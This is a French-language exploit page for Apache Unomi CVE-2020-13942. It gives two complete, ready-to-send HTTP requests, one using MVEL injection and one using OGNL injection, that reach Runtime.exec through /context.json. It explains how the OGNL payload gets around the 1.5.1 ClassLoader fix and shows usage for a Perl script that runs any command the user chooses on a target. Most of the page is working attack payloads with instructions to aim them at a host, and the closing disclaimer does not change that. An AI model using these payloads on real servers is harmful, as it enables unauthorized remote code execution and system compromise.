
Apache Unomi CVE-2020-13942 : Vulnérabilités RCE
Article de blog original sur la vulnérabilité : https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
Il existe deux vecteurs de RCE : par injection MVEL et par injection OGNL. Les deux vecteurs ciblent des codes différents, bien que les payloads se ressemblent relativement. Le correctif CVE précédent https://nvd.nist.gov/vuln/detail/CVE-2020-11975 tentait de limiter l'exécution des expressions OGNL, mais a complètement oublié MVEL. Le CVE-2020-13942 contourne le correctif apporté dans la version 1.5.1.
Envoyez les requêtes HTTP suivantes en utilisant BurpSuite ou curl vers context.js\json exposé par le serveur Unomi et obtenez une RCE. Modifiez Host et Content-length selon votre URL cible et la commande OS.
Les deux POC peuvent obtenir HTTP/1.1 400 Header Folding en réponse, ce qui signifie que les \r\n sont mal gérés dans le payload ; essayez de le copier-coller une fois de plus.
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
Le POC OGNL a contourné la restriction ClassLoader introduite par la version 1.5.1. En utilisant l'API de réflexion Java, il est possible de créer un objet sans déclencher la méthode ClassLoader.loadClass qui restreint les expressions OGNL évaluées.
Détail de l'expression OGNL du payload :
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") crée un objet Class java.lang.Runtime, où #this est la référence à l'objet context.#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] obtient la liste des méthodes de la classe Runtime via les réflexions et choisit la méthode getRuntime dans la liste. La partie {^ #this.name.equals(\"getRuntime\")} de l'expression recherche une méthode nommée getRuntime et renvoie une liste des méthodes correspondant à la condition ; la première et unique méthode de cette liste est getRuntime.#runtimeobject = #runtimemethod.invoke(null,null) appelle la méthode getRuntime() et obtient l'objet Runtime.(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) obtient les méthodes de la classe Runtime et récupère Runtime.exec() avec un seul argument String dans la liste des méthodes.#execmethod.invoke(#runtimeobject,\"gnome-calculator\") appelle Runtime.exec() avec l'argument spécifié.POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
Utilisation de base :
./apache_unomi.pl [options]
options:
./apache_unomi.pl [target:port] [command] [(method 1) - mevel| (method 2) - ognl]
[+]usage:
./apache_unomi.pl http://127.0.0.1:8181 whoami 1
Toutes les informations fournies sur cette page sont uniquement à des fins éducatives. Les informations sur ce site Web doivent être utilisées uniquement pour renforcer la sécurité de vos systèmes informatiques et non pour provoquer des attaques malveillantes ou dommageables.
Vous ne devez pas utiliser ces informations à mauvais escient pour obtenir un accès non autorisé à des systèmes informatiques. Sachez également que tenter de pirater des ordinateurs qui ne vous appartiennent pas, sans autorisation écrite de leurs propriétaires, est illégal.
Je ne serai pas responsable des dommages directs ou indirects causés par l'utilisation des informations fournies sur ce site Web.